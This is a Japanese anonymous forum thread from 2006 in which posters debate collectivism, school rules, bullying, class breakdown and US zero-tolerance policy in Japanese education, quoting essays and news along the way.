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集団・全体・封建主義的体質が目立つ日本の教育

1 :名無しさんの主張:2006/10/14(土) 15:46:20
みんな一緒の軍服のような制服、運動会におけるマスゲームや軍隊もどきの行進、
整列の練習、部活動における先輩や後輩、学年による上級生、下級生の上下関係、
服装から日常生活まで、がんじがらめに管理する校則など、日本の学校教育においては、
集団主義、全体主義、管理主義、封建主義、国家権力組織主権的体質が根を張っている。
ついには、生徒の愛国心を評価するなどとして、君が代を歌う声の大きさや
態度までが評価の対象として、点数付けされるようになっているのだ。
このようなことをすれば、心の内面には蓋をして、外面だけは点数のために行動する
ロボットのような人間が生まれてくるだろうし、均一な価値観による統制によって、
少数派や個性派に対する数の力による集団いじめなどが増加するのではないか?
果たしてこれは民主主義国家の教育としてふさわしいものだろうか?
このような教育が行われているようでは、民主主義、自由主義などは、単なる
表面的な建前へと形骸化していくのではないか?


2 :名無しさんの主張:2006/10/14(土) 15:47:58
日本に民主主義は不要。
統制教育万歳!
将軍様に忠誠を!

3 :名無しさんの主張:2006/10/14(土) 15:59:35
>>1
いつの時代の話をしてるんだ。

今は逆に「個性尊重、生徒の自由を尊重」が原因で、逆に
学級崩壊が進んでるだろ。

4 :名無しさんの主張:2006/10/14(土) 16:02:25
http://headlines.yahoo.co.jp/hl?a=20061013-00000009-san-soci
「なれ合い型」学級崩壊が急増 「反抗型」影潜め 一見和やか 先生は友達…

 子供の教師への反発が広がって学級運営が立ち行かなくなる「反抗型」の
学級崩壊が影を潜める一方で、友達感覚の優しい先生とのなれ合いの末に
秩序が崩れる「なれ合い型」の学級崩壊が都市部の小中学校を中心に急増
していることが、都留文科大学の河村茂雄教授(心理学)の調査研究で分かった。
こうしたケースは、表面上は和やかな雰囲気の教室に崩壊の兆候が潜むだけに、
教師の落胆も大きく、立て直しのための処方箋(せん)も見つけにくいという。


5 :名無しさんの主張:2006/10/14(土) 16:09:07
>>3
そういうのって、地域差、学校による違いが大きいんだよ。
遅れてるところはいっぱいあるし、時代に逆行してる学校もある。

6 :名無しさんの主張:2006/10/14(土) 16:13:49
>>5
昔の、1980年代の「校内暴力」「荒れた学校」と言われた時代の
管理教育を知ってるか?

7 :名無しさんの主張:2006/10/14(土) 16:13:51
>>5
何でお前はそんな事知っているんだ?

8 :名無しさんの主張:2006/10/14(土) 16:19:30
鹿児島ではいまでも丸刈り校則が残っている中学があるぞ。

9 :名無しさんの主張:2006/10/14(土) 16:51:54
>>6
要するにね。もともとあほっぽいロボット製造教育が基本の日本で
学級崩壊が起きた理由と言うのは、もっと全体的な理由なのさ。
ロボット教育を受けてきた教師が教えるんだから、誰だって程度の差はあれ
反発するわな。

10 :名無しさんの主張:2006/10/14(土) 18:55:36
教育課程の資格とやらを取った世間知らずの
にーちゃん・ねーちゃんが、そのまま、世間から隔離された
学校という閉鎖社会のなかで、先生様、先生様と、呼ばれている
ということなんだべな。
ケ、<先生>を分解すれば
ちょっと先に生まれて生きているということだけ〜〜
さらに小学校・中学校に限定すれば公務員でもありま。
>>4 こんな子供に媚を売るだけ、保身だけの実態は公務員

11 :名無しさんの主張:2006/10/14(土) 21:06:21
アメリカを見本にするからだ。
どうせなら、アメリカのエリートコースを手本にすればいいのに。
あ、それなら日本式と同じかw
アメリカは日本の成功を見て日本を手本にしたから。

ケケケ

12 :名無しさんの主張:2006/10/14(土) 21:29:50
個性を求めれば求めるほど、管理社会になっているという。

13 :名無しさんの主張:2006/10/14(土) 22:27:16
日本式は正しいのです。

おわり

14 :名無しさんの主張:2006/10/14(土) 23:01:35
いじめ続発の罪

15 :名無しさんの主張:2006/10/14(土) 23:05:50
>>6
あほか。
団塊世代の遺伝子が原因だろう。

16 :名無しさんの主張:2006/10/14(土) 23:06:37
>>12
本当に個性的な人間は管理教育で押しつぶされたりはしない。
アメリカがいい例だ。

17 :名無しさんの主張:2006/10/14(土) 23:07:59
子供の主体性や権利の尊重という美名の下で行われた戦後教育
で学級崩壊が起こっている。
実はこれは日本だけのことではない。
かつてはアメリカでも左翼系の学者が唱える
「生徒が悪いのではない、制度が悪いのである」
「すべての規制から解放すれば、生徒は生き生きと甦る」
「個人個人のニーズに合致させる教育」
「学年や教材や、時間割に縛られることなく自由に」
「従来のような画一的な学校体制を強いるのはよくない」
というような理念の下で行われた非管理教育だった。
その結果誕生したのは、アメリカ映画「暴力教室」に見られるような学校だ。
日本では銃は普通手に入らないし、覚醒剤もそう簡単には手に入らないから
、アメリカほど酷くはならないが、学級崩壊が起こっている。
で、1990年にブッシュ大統領は国家教育目標六項目を発表し、翌年には
「アメリカ2000教育戦略」として、「我が国を本来あるべき姿に戻すために」
というキャッチフレーズで2000年までに国家教育目標を達成するための戦略
を打ち出した。
それが、非管理教育を完全に否定したゼロトレランス政策(非寛容の政策)。
これをクリントン大統領が引継ぎ、「各学校は、規則を強化し、ゼロトレランス
方式を確立すること」を全国民に呼びかけた(クリントンコール)。

18 :名無しさんの主張:2006/10/14(土) 23:08:49
それによって数年のうちに学校の規律は回復し、見事に立ち直った。
少年の犯罪も減少し、最初に導入したワシントンのタコマ市では91年に殺人を含め二百件
あった暴力事件が92年には百件を下回った。
この年にさらにゼロトレランスを強化したところ、93年にはたったの4件、94年
3件と暴力事件が激減し、ほとんど皆無の状態になった。
この「ゼロトレランス」方式の方法と理念はこういったもの。

1、地区教育委員会は、細かい生徒行動綱領を示す。
各学校は、それに則り、その学校に適合するさらに細かい規則を整備し、その
ディシプリン(規律や罰則)をあらかじめ生徒、父母、コミュニティーに
周知し、徹底しておく。
2、自らの行動に責任がとれる年齢(小学校高学年以上)に達した生徒は、自ら
の行動に対し責任を持たせる。
もし規律・規則違反があれば直ちに罰を受ける。
その罰を体験し自分の犯した行為を反省し、自らで立ち直る。
3、ゼロトレランスの適用に関しては、厳正に、平等に行う。
日常の学業成績とか、特別の状況、理由、個人的な環境などによって適用が
偏向されないことが特に留意される。

19 :名無しさんの主張:2006/10/14(土) 23:09:26
で、ゼロトレランス政策は、生徒の問題行為に対しては、早期に指導し
、生徒に大きな過ちを犯させないことを最大の目的としている。

1、細かい規則に従って、プログレッシブに規律指導を行う。
すなわち、小さな規則違反のうちに軽い罰を与えて、早期に立ち直らせる。
決して大きな問題非行行為を起こさせるまで放置しないという配慮である。
2、この指導法は、大多数の善良な生徒に対しては、何の痛痒も感じさせていない。
事実、多くの善良な生徒にとっては、何の拘束感も持つことなく、明るく
学校生活をエンジョイできる環境となったているのである。
3、規則の制限内で個人の行動と自由が保障されるという、自由と民主主義
社会の原則を、学校生活の中で体験させるのである。


20 :名無しさんの主張:2006/10/14(土) 23:10:06
現在のアメリカではロッカー検査を行う規定があり、管理職の教師は生徒の
ロッカーの鍵を持っていて、自由に開けられる。
朝の登校時に、通学バスを利用する場合は、待つときに必ず規律正しく
整列させる。
小・中学校においては、放課に子供が水を飲むときにおいても教師が監督し
て、きちっと整列させている。
ランチタイムに食堂へ入るときも、必ず教師の監督のもとに、廊下で座って
順番を待っている。
マーティンルーサーキング高校においては、登校時に、玄関の入り口に設置
されている金属探知機の前で監督の教師のもとに整然と並んで待っている。
特筆すべきは、廊下の壁面、天井の梁、ロビーなど生徒の目につく至るところ
に、人格的徳目や、道徳的フレーズが書かれている。
人格的徳目としては、自己規律、思いやり、責任、友情、勉強、勇気、忍耐、
正直、忠誠、秩序と規律、信仰など。

21 :名無しさんの主張:2006/10/14(土) 23:11:49
>>16
それは教育の重要命題ではない。教育において個性は優劣によってのみ
語られるべきではない。

22 :名無しさんの主張:2006/10/14(土) 23:13:35
所詮日本は母性社会。 違いを認めるのが嫌いなんだよ。



23 :名無しさんの主張:2006/10/14(土) 23:13:57
>>21
社会性を持たせることが個性を殺すことにはならない、ということ。


24 :名無しさんの主張:2006/10/14(土) 23:18:18
>>22
所詮日本は母性社会。これがなぜ→違いを認めるのが嫌い ?

25 :名無しさんの主張:2006/10/14(土) 23:20:19
個性が死ぬかどうか以前に、学校でのいじめで自殺するヤシがいるんだから。
いじめ構造は教師の低レベルさが関系している。無関係とはいえない。

26 :名無しさんの主張:2006/10/14(土) 23:21:37
>>24
日本人は村社会の国民性があるからだ。
しかし、共同体意識と村意識は違うわけで、個人の領域であるのに
他と同じでなくては安心できない、という意識から、他と同様のこと
するのが村意識。


27 :名無しさんの主張:2006/10/14(土) 23:22:16
>>25
それはいえる。

28 :名無しさんの主張:2006/10/14(土) 23:25:43
戦後の日本が上手くやってこれたのは、この村意識があってこそ
だが、これを否定したい左翼は、当然批判する。
というよりも、左翼からすれば欧米的な共同体意識そのものを否定
したいのが本音であるから、個人主義的な権利ばかりを強調し、共同体
への義務、責任を説いてこなかった。
その結果、歪な社会になってしまった。

29 :名無しさんの主張:2006/10/14(土) 23:29:38
ただ、虐めというのがシステムの変更でなくなるかどうかは疑問。
形を変えるだけのようにも思う。

30 :名無しさんの主張:2006/10/14(土) 23:32:38
よく聞く話では、昔は「番長」のような強い奴がいて、それらは「弱い者虐め」
を恥と考えていた。
そして、弱い者虐めをする奴がいたら、番長が怒る。
今の虐めって、クラス全員で無視をするとか、そんなんでしょ?

31 :名無しさんの主張:2006/10/14(土) 23:33:10
いや、大きく影響するでしょう。
会社を例にとって考えれば分かる。
やはり上層部(社長など)のパーソナリティ、やり方が
その組織の雰囲気に大きく影響する。
やな雰囲気の会社といい雰囲気のところは全然環境が違う。

32 :名無しさんの主張:2006/10/14(土) 23:33:32
>>28
戦前の教育の間違いだろ?
非行少年は少なく、皆健全だった。 
優秀な人材もたくさん生まれた。

33 :名無しさんの主張:2006/10/14(土) 23:33:44
>>31→29

34 :名無しさんの主張:2006/10/14(土) 23:34:19
「戦前の教育」は良かった という意味だよ

35 :名無しさんの主張:2006/10/14(土) 23:35:23
>>32
いや、うちの親父は戦後の生まれだけど、親父からよく聞いた
話ではそうだった。

36 :名無しさんの主張:2006/10/14(土) 23:36:44
まあ、うちの親父は自称「番長」だったから、自慢半分に聞く
必要があるかもしれない。

37 :名無しさんの主張:2006/10/14(土) 23:38:00
>>31
でも他の国ではどうなんだろう?

38 :名無しさんの主張:2006/10/14(土) 23:38:02
これはさっきのスレの続きか?

39 :名無しさんの主張:2006/10/14(土) 23:38:34
>>38
愛国スレの続きだと自分は思ってるが…。

40 :名無しさんの主張:2006/10/14(土) 23:40:17
まあ、うちの親父の世代だと、戦前、戦中派が教師をやってる
時代だね。

41 :名無しさんの主張:2006/10/14(土) 23:41:05
日本は自らの中から学べばよいものを・・
米国の陰謀か?w

42 :名無しさんの主張:2006/10/14(土) 23:42:02
現代日本は先祖を冒涜するクソ人が結構いるからなあ

43 :名無しさんの主張:2006/10/14(土) 23:43:26
>>41
アメリカはかつての日本に学び成功し、日本はかつてのアメリカ
型に近づき失敗しているから。

44 :セニョール・五十嵐 ◆40WnEtzSeY :2006/10/14(土) 23:46:06
クリントン政権の、一昔前の、リベラルなアメリカは素敵な国だったのに。

45 :名無しさんの主張:2006/10/14(土) 23:47:56
>>44
クリントンが保守の政策を引き継ぎ、リベラルな教育などを廃止した
から成功しました。

46 :名無しさんの主張:2006/10/14(土) 23:49:57
子供の主体性や権利の尊重という美名の下で行われた戦後教育
で学級崩壊が起こっている。
実はこれは日本だけのことではない。
かつてはアメリカでも左翼系の学者が唱える
「生徒が悪いのではない、制度が悪いのである」
「すべての規制から解放すれば、生徒は生き生きと甦る」
「個人個人のニーズに合致させる教育」
「学年や教材や、時間割に縛られることなく自由に」
「従来のような画一的な学校体制を強いるのはよくない」
というような理念の下で行われた非管理教育だった。
その結果誕生したのは、アメリカ映画「暴力教室」に見られるような学校だ。
日本では銃は普通手に入らないし、覚醒剤もそう簡単には手に入らないから
、アメリカほど酷くはならないが、学級崩壊が起こっている。
で、1990年にブッシュ大統領は国家教育目標六項目を発表し、翌年には
「アメリカ2000教育戦略」として、「我が国を本来あるべき姿に戻すために」
というキャッチフレーズで2000年までに国家教育目標を達成するための戦略
を打ち出した。
それが、非管理教育を完全に否定したゼロトレランス政策(非寛容の政策)。
これをクリントン大統領が引継ぎ、「各学校は、規則を強化し、ゼロトレランス
方式を確立すること」を全国民に呼びかけた(クリントンコール)。

47 :名無しさんの主張:2006/10/14(土) 23:50:28
それによって数年のうちに学校の規律は回復し、見事に立ち直った。
少年の犯罪も減少し、最初に導入したワシントンのタコマ市では91年に殺人を含め二百件
あった暴力事件が92年には百件を下回った。
この年にさらにゼロトレランスを強化したところ、93年にはたったの4件、94年
3件と暴力事件が激減し、ほとんど皆無の状態になった。
この「ゼロトレランス」方式の方法と理念はこういったもの。

1、地区教育委員会は、細かい生徒行動綱領を示す。
各学校は、それに則り、その学校に適合するさらに細かい規則を整備し、その
ディシプリン(規律や罰則)をあらかじめ生徒、父母、コミュニティーに
周知し、徹底しておく。
2、自らの行動に責任がとれる年齢(小学校高学年以上)に達した生徒は、自ら
の行動に対し責任を持たせる。
もし規律・規則違反があれば直ちに罰を受ける。
その罰を体験し自分の犯した行為を反省し、自らで立ち直る。
3、ゼロトレランスの適用に関しては、厳正に、平等に行う。
日常の学業成績とか、特別の状況、理由、個人的な環境などによって適用が
偏向されないことが特に留意される。

48 :名無しさんの主張:2006/10/14(土) 23:51:24
で、ゼロトレランス政策は、生徒の問題行為に対しては、早期に指導し
、生徒に大きな過ちを犯させないことを最大の目的としている。

1、細かい規則に従って、プログレッシブに規律指導を行う。
すなわち、小さな規則違反のうちに軽い罰を与えて、早期に立ち直らせる。
決して大きな問題非行行為を起こさせるまで放置しないという配慮である。
2、この指導法は、大多数の善良な生徒に対しては、何の痛痒も感じさせていない。
事実、多くの善良な生徒にとっては、何の拘束感も持つことなく、明るく
学校生活をエンジョイできる環境となったているのである。
3、規則の制限内で個人の行動と自由が保障されるという、自由と民主主義
社会の原則を、学校生活の中で体験させるのである。

49 :名無しさんの主張:2006/10/14(土) 23:51:50
「恥の文化」が日本の学校を支配している

 ベネディクト女史は、欧米の文化を「罪の文化guilty culture」、日本の文化を「恥の文化
shame culture」というように対比させていますが、他律的な「恥の文化」では正義より
名誉が優先され、個人の道徳心は、他者により左右されてしまうと問題視しています。
学校が生徒のことより、学校の評判ばかりを気にしているというのは、多数の中高生が
もつ不満となっていますが、個人の権利保障という正義より、集団や組織の名誉の方が
優先する点で、「恥の文化」は日本の学校では根強いものがあるといえます。

 また日本人は、その人が何をしたかとか、どの様な人格の持ち主かより、どのような集団や
組織に属しているかで、個人の存在価値を量る傾向が強く、逆に組織集団のリーダーは、
集団の評価を高めることこそが最高の目標と考え、個人の権利や人格を軽視する傾向を
持っています。集団の名誉という全体の利益の前には、個人の権利などは単なるエゴイズム
とされてしまうのです。この傾向を大変強く持っている組織が日本の学校なのです。

 「恥の文化」では自律的な人格は育ちにくいというベネディクト女史の指摘を、日本の社会は
国際化に適応する上でも、もっと真剣に受け止める必要があります。悪いことでもみんなで
やれば怖くないという傾向は、今の日本の若者にも強く見られます。前日の新聞に、騒がしくて
成人式が成り立たないという批判記事が掲載されていましたが、これは若者の単なる身勝手
の問題だけでなく、学校教育での集団管理主義では、自律的な道徳心が育っていないという
問題でもあるのではないかと思います。

 日本人は、組織や集団という看板を背負っていない個人になってしまうと、とたんに我がままで
身勝手になるのです。これからの日本人に必要なのは、学校や会社などの特定の集団の一員
としての自覚ではなく、人間としての尊厳と責任ある個人としての自覚なのではないでしょうか。
学校教育でもこの様な自覚を育てることが求められていると思います。

ttp://www.geocities.jp/yasuh16goto/haji.html


50 :名無しさんの主張:2006/10/14(土) 23:51:55
現在のアメリカではロッカー検査を行う規定があり、管理職の教師は生徒の
ロッカーの鍵を持っていて、自由に開けられる。
朝の登校時に、通学バスを利用する場合は、待つときに必ず規律正しく
整列させる。
小・中学校においては、放課に子供が水を飲むときにおいても教師が監督し
て、きちっと整列させている。
ランチタイムに食堂へ入るときも、必ず教師の監督のもとに、廊下で座って
順番を待っている。
マーティンルーサーキング高校においては、登校時に、玄関の入り口に設置
されている金属探知機の前で監督の教師のもとに整然と並んで待っている。
特筆すべきは、廊下の壁面、天井の梁、ロビーなど生徒の目につく至るところ
に、人格的徳目や、道徳的フレーズが書かれている。
人格的徳目としては、自己規律、思いやり、責任、友情、勉強、勇気、忍耐、
正直、忠誠、秩序と規律、信仰など。

51 :名無しさんの主張:2006/10/14(土) 23:54:46
言語や文化や宗教の違いがあるのに
米と同じやり方をすれば同じ効果がでると思うのが間違え

52 :名無しさんの主張:2006/10/14(土) 23:55:14
名前:シェンケン ウォン  論文

 日本で、授業の時は教師から生徒に知識を注入して、あまり議論がないし、
生徒は聞くだけで、発言する機会が少ない。その「一方通行授業」の中で、
生徒は不言実行を行う。教育制度は暗記中心で、実用的ではない。学生は
分析しないと、思考力も判断力も表現力も育成できない。それに、英語の授業では
教師の英語力が悪いし、生徒たちは文法と単語だけを暗記して、ヒアリングと
発音が重視されない。さらに、入学試験が非常に難しいが、大学の授業は
簡単になる。その結果は、学生たちも入学試験に合格するのを目標にして、
よい学校に入るだけでいいという考え方を持つようになるだろう。この
詰め込み教育システムで、学生は学校生活が不満で、落ちこぼれが多くなる。

 国家として、日本は強い民族性を持ち、国民主義的な考えがあるから、学校でも
仕事でも上下関係が存在する。その保守的なシステムの中で、学生の活動も
規則的にし、態度も丁寧だし、海外の人から見て一番効率的な人々だ。
一方、集団主義的な考えもあるので、組織的な社会で、人々は何をする時でも、
ルールが決まっていると安心する。自分の自由意思や頭を使ってなにかをするのは
好まないで、ほとんどルールや約束ごとに縛られるほうが楽なようだ。

 日本について、変えていくべきことはまず、もっと自由に学べる環境で発言や
議論や話し合う機会を増やすことだ。次に、もっと実用的な授業をして、暗記ではなく、
自力で調べる生徒の個人学習を重視させることだ。また、入学試験のためではない
授業を行う。例えば、英語の勉強は、文法と単語だけの暗記ではなくて、会話の方を
中心とすればいいだろう。最後に、教師自身の熱心と英語力を改善しなければいけない。

http://ml.hss.cmu.edu/ML/Polyglot/Polyglot%20S05/Polyglot%20S05%20HTML%20files/SchenkenWong.htm


53 :名無しさんの主張:2006/10/14(土) 23:55:26
戦前の教師など、みな凄く情熱に燃えていた、とういのは台湾人の本
によく書いてあるね。

54 :名無しさんの主張:2006/10/14(土) 23:57:16
>>51
ナンセンス。
リベラルな教育でアメリカは失敗し、日本も同じ道をたどっている。
だいたい、ゼロトレランス教育の根本にある行動科学では、普遍的な原理
とされる。
それを否定する根拠は何もない。

55 :名無しさんの主張:2006/10/14(土) 23:57:45
日本のいじめ問題 上
チョウ イー

日本で育った人なら、誰もが一度や二度、いじめに遭った事があると言うに違いない。今
や、いじめは深刻な社会問題となりつつある。日本のいじめは、どんどん低年齢化し、若
い世代の人たちに精神的な影響を与えている。このいじめの実態は、日本の集団主義の社
会構成を反映している。こうした若い頃に得た心の傷は、大人になっても消え去らず、一
生のトラウマになることが多い。今、この問題に立ち向かわないと、ますます深刻な問題
になるだろう。いじめは、学校、家族、そして地域が力を合わせて行動し、克服するものだ。
日本の組織的いじめは今始まった事ではない。日本では、幼い頃から、集団活動の重要性
が強調される。子供達は小学校の時から、まずクラスに分けられ、そして班に分けられ、
その班といつも行動をともにする。給食も掃除もなにからなにまで一緒にやりとげる。そ
の反面、日本の子供たちは、一人で行動する機会がとても少ないのだ。班の栄誉は、その
班の一人一人の栄誉に
つながり、団体の恥は、個人の恥となる。その点から見ると、日本の教育は、個人の発展
よりも、集団の発展を重視している。これだけ、一緒に時間を過ごすと、「仲間」という
観念が生まれ、年を重ねるにつれ、その重要性も増していく。集団社会の中、その社会構
成についていけず、仲間外れになる人が現れてくる。このような、社会的基準から外れた
人たちは、いじめのターゲットになりやすい。この、日本社会の構成が、組織的いじめに
つながるのだ。
他の国に比べ、日本のいじめは構造がとても複雑で、暴力だけではなく、精神的な方面か
らも人を追い詰めるのが特徴だ。アメリカでも、似たような問題があるが、子供同士の喧
嘩や暴力がほとんどで、いじめによる自殺は日本と比べてかなり少ない。どちらかという
と、アメリカのいじめには、深刻さがなく、その実態は「からかう」と言ったほうがあっ
ているかもしれない。そして大抵、アメリカのいじめは、卒業をすれば、やがて忘れる程
度なのがほとんどだ。それに反し、日本の場合、幼い頃に得たいじめの傷は、血を流し続
けていき、いじめの被害者が加害者に転じるなどして、無限のサイクルを保ち続けていく。


56 :セニョール・五十嵐 ◆40WnEtzSeY :2006/10/14(土) 23:58:51
リベラルな教育って具体的に何?

アメリカの失敗は具体的に何?

57 :名無しさんの主張:2006/10/14(土) 23:59:10
犯罪に刑罰を課し、より重い犯罪に重い刑罰を与えるというのが
世界共通なのは、人間の行動が「予測される刑罰」に左右される
というのが、普遍的な原理だとされるから。


58 :名無しさんの主張:2006/10/14(土) 23:59:34
日本のいじめ問題 中

この問題は深刻で、登校拒否、校内暴力などにつながる。この違いは、社会観念の違いの
象徴だ。例えば、日本とアメリカのホラー映画を見てみよう。アメリカの映画は、血まみ
れの死体、内臓、果てしない暴力などと、いかにも恐怖をもたらすものばかりだ。その結
果、見ている間はとても不愉快なのだが、終わってみると、それほど恐怖を覚えることは
ない。日本のホラー映画は違う。画面には、血も、死体も、幽霊も、それほど出てこない。
しかし、見終わってもその映画の恐怖から逃れられない。この例は、いじめの実態を反映
している。アメリカのいじめは、一見、暴力的で怖いのだが、日本のいじめは、社会の常
識、構成をよく把握しており、よく撮れた映画のように、長く、その恐怖が心の中に残るのだ。
日本のいじめは、精神的ダメージを主目的にして行われている。そして、団体と言う枠に
もとずき、いじめの対象を傷つけていくことに、喜びを見つけるのだ。小、中学生の頃の
いじめは特にひどく、クラス、いや、学年全体でいじめを実行するのだ。クラス全体での
シカト、暴力、そして物隠しは、日常茶飯事みたいなものだ。リーダータイプの人が、集
団を動かし、一人か二人のターゲットの人の存在や自尊心をズタズタにするのだ。この深
刻な問題の中、教師達は、見て見ぬふりをすることが多い。家庭でも、親に心配をかけま
いと何も言わないでいる。いじめにあったことのある人たちは、ターゲットが自分に回っ
てこないようにといつしか、加害者の立場に回っていくケースもよくある。いじめのつら
さがわかっているからこそ、リーダーに逆らえないのだ。行き場を失い、追い詰められた
ターゲットが、自ら命を絶とうとしてしまう場合さえある。このように、いじめは、循環
し、悪化していくのだ。

59 :名無しさんの主張:2006/10/14(土) 23:59:47
>>56
長文はとばしてるの?

60 :名無しさんの主張:2006/10/15(日) 00:00:22
日本のいじめ問題 下

集団主義の日本はその団体の構成を枠にし、集団的いじめをしている。数が増加、そして
内容が凶悪化しているいじめは、その集団構成への何らかの抗議であり、結果でもある。
人々が、この構成に矛盾を感じているからこそ、いじめは生まれたのだ。わざと枠から
はずし、いじめの対象にすることにより、本来の「自分」を抑え、社会で生きていく。
いじめの加害者は、愛に飢え、心の叫びを聞いてほしいのかも知れない。だからこそ、
いじめ問題を解決するには、まず、日本社会の構成をよく見直す必要があるかもしれない。

ttp://www.columbia.edu/cu/ealac/japanese/05.sp.04CI.htm


61 :名無しさんの主張:2006/10/15(日) 00:00:38
>>56
このような理念の下行われた、リベラルな学者がとなえる教育。

「生徒が悪いのではない、制度が悪いのである」
「すべての規制から解放すれば、生徒は生き生きと甦る」
「個人個人のニーズに合致させる教育」
「学年や教材や、時間割に縛られることなく自由に」
「従来のような画一的な学校体制を強いるのはよくない」

62 :名無しさんの主張:2006/10/15(日) 00:02:12
>>60
典型的なリベラルな発想だよね。

63 :名無しさんの主張:2006/10/15(日) 00:03:50
『「外国人」「教師」の目で見た「日本の教育」』 上
 講演をうけてのディスカッション
パネラ− レベッカ・ジェ二スン,仲尾宏(京都芸術短期大学教授)

仲尾: 日本の教育のことがいろいろ言われました。学力の問題は別にして、
戦後、日本の教育は個人主義のように見えていて、実は全体主義、集団主義だった。
一番大きな問題ですね。民族教育を認めないとことになったということはご指摘の
通りです。年配の方は日本の戦後教育は駄目だ、しつけも教育もなっていない。
個人主義ばかりだという批判がありますが、当たっていない。

個人主義のように見えて集団主義です。皆、一緒でないといけない。それが
うまくいかないと朝鮮人に対するいじめがでてきたり、変わったことをする子どもたちへの
いじめになる。差を認めない。個人の差を認めないのが戦後教育の最大の欠陥
ではなかったか。そのことが、民族的な差別や偏見を助長させることにつながってくる。
そこに最大の問題があると思います。 

もう一つは、制度上の問題で、GHQの政策でアメリカ式の6・3・3制の教育をした。
学校制度はどういじっても矛盾はあると思いますが、異なった制度を認めない
というようになりました。戦前の旧制は複数制だった、ドイツの学制を見習った。
どちらがいいか一概に言えないのですが、戦後の学制は一条校と言われ、
別の流れを基本的に認めなかった。途中でこれはいかんということで高等専門学校を
設けたり、一貫制の学校を作るとか小手先でやってますが、基本的には認めない。
専門コ−スも原則駄目だと。

64 :名無しさんの主張:2006/10/15(日) 00:04:20
犯罪や虐めを「社会への抗議」みたいに主張するのはリベラルな人
の常套句だけど。

かつてのアメリカは、犯罪の理由の最大のものは、貧困という社会的な問題
だ、という考えが主流でした。
スラム環境や貧困の産物だと考えられていました。
しかし、1959年にデヴェール財団の三人の医師が調査をして公表した
「上流社会経済集団出身の青少年の反社会的行動」という報告書では、
たとえば少年犯罪一つとってみても上流社会の人間であろうが、スラム
の人間であろうが、犯罪率においても、犯す犯罪の種類においても違い
はなかった、上流社会の少年の場合、親が損害賠償金を払ったり、子供
を「私立学校」---実は私立の救護院---へ追いやったりするので、表
沙汰にはならずにすんでいるだけのこと、という結論でした。
また、リベラルの政治家が死刑を廃止し、犯罪が急増している時期にも
犯罪とは社会的圧力が欲求不満を生み、捌け口として犯罪や反抗が
行われる、という考えにもとづいていました。
しかし、1959年の報告書からすれば、この考えは疑わしい。

65 :名無しさんの主張:2006/10/15(日) 00:04:54
『「外国人」「教師」の目で見た「日本の教育」』 下

そういうことが民族学校を認めない、民族別の教育を認めないことにつながっていった。
日本の教育制度自体がどうかということと、民族別の教育があっていいという
観点が持てなかったことが欠点だし、それが今でも民族学校を除外している要因に
なっていると思います。その反省がないと、民族学校は制度上、各種学校だという
形になるのではないかと思います。

 日本の学校では日本の国民教育をやる。民族教育をやる。多住地域のごく一部の
民族学級を除けば、マイノリティとしての民族教育は全く保障されていない。ところが、
日本の学校を担当している先生や教育委員会はそのことに気が付いていなくて、
国民教育だけをやればいいと思っていますが、実は民族教育をやっているんです。
それが「日の丸」であり「君が代」であるわけです。これが日本の学校にきている
日本人でない在日をはじめとした外国籍の子供や親にとってどういう精神的な圧迫を
もたらしているのか気がつかない。

 教育は国民教育と同時に民族教育という二つの面があって、民族教育については
民族的なマイノリティがおられるところでは、学校や教師や教育委員会がきちんと
わきまえた上でやらないといけない。京都市も4年前、「外国人教育について
主として在日韓国・朝鮮人の子供について」という方針をだされました。多住地域では
出てきていますが、粘り強い運動の成果です。

http://www5d.biglobe.ne.jp/~mingakko/lebkk2.html

66 :名無しさんの主張:2006/10/15(日) 00:06:33
>>63
基本的にはその指摘はあたっているが、用語の違いがある。
ここで言われる集団主義というのは村意識のこと。
実際には個人主義の裏にあるべき共同体への責任、義務を排除して
一面だけを教えていることに問題があります。

67 :セニョール・五十嵐 ◆40WnEtzSeY :2006/10/15(日) 00:06:40
僕が大学で教職をとっていたときに、授業の一環として見た映画。

「今を生きる」
自由とは何か、個性とは如何なるものかについて強く感じさせられる。
同時の管理教育の悲惨さも一人の生徒の自殺によって実感させられる
素晴らしい映画だ。


http://www.amazon.co.jp/gp/product/B00005FXH5

1959年、アメリカの名門全寮制高校。生徒たちは、伝統と規律や親の期待に縛られながら、
冷めためた気持ちで日々をやり過ごしている。そこに同校OBの教師キーティング(ロビン・ウィ
リアムス)が赴任してくる。マジメ腐った詩の教科書を破り捨てさせ、机に上に立ち、生きる視点
を変えることを教えるキーティング。彼の授業を通して、生徒たちは自らを自由に語り合うように
なり、自分の道を歩みだす。だが、彼らの前に厳しい現実の壁が立ちはだかる…。

エリート高校生たちが、教師の言葉や詩に触発されてトキメキを感じ、生き生きと変わっていく
姿は感動的。芸達者であるがゆえ、過剰になりがちなロビン・ウィリアムスは、本作では抑えた演
技で作品に奥行きを与えている。全編にあふれる詩と、生徒たちの心の変化を暗喩する四季折々
の映像が美しい。(茂木直美)

68 :名無しさんの主張:2006/10/15(日) 00:08:11
>>65
マイノリティーの民族教育と言えば、日本では在日ということだろう
けど、この人は実態を知らずに書いてるんでしょうか?
韓国や朝鮮の学校ではしっかりと民族教育がされてますが…。

69 :名無しさんの主張:2006/10/15(日) 00:09:28
>>67
ちょうどリベラルな教育で「暴力教室」が繰り広げられている時代ですね。

70 :セニョール・五十嵐 ◆40WnEtzSeY :2006/10/15(日) 00:10:00
>>61
私は全ての意見には賛成できないが一部は賛成できる。

まず、この3つ。
「個人個人のニーズに合致させる教育」
「学年や教材や、時間割に縛られることなく自由に」
「従来のような画一的な学校体制を強いるのはよくない」

しかし、土台がない児童にいきなりここから入るのは良くない。

まず教えること。
「男女が愛し合うことは健全なこと」
「芸術が社会に与える潤い」
「自由とは何か?」

そして、
「今を生きる」

71 :名無しさんの主張:2006/10/15(日) 00:11:00
今の学級崩壊は学校教育が悪いと言うより
それ以前の家庭での幼児教育(躾)が
まったく駄目だっってことだよ。
先生だって迷惑だよ。そんなの押し付けられてさ。
所詮他人の子だもん。
この子達が大きくなれば親たちは持て余すだろうな。
少子化で子供が稀少な存在になり
親、祖父母が甘やかし
自分は特別な存在だと子供は勘違いし
学校でも自分の存在を主張する行動を取る。
「今の子供は駄目だ」と言う年配者・大人が
自分の孫・子供には非常に甘い・・・
その結果が今の学級崩壊の大きな要因なんだよ。
各家庭がきちんと躾を行っていれば
何の問題も無いはずなのにね。
それを認めたくない心理が社会全体に働くから
他に要因を見つけ出そうと無駄な作業が繰り返される。
きちんと自分自身を見つめることを
苦手とする日本人の典型的な行動だ。
そんなこと学んで無い(教育されて無い)から
そうなるんだけど。


72 :名無しさんの主張:2006/10/15(日) 00:11:03
綺麗ごとばっかり言ってるリベラル信者は人間の集団への依存という現実を見た方がいいよ

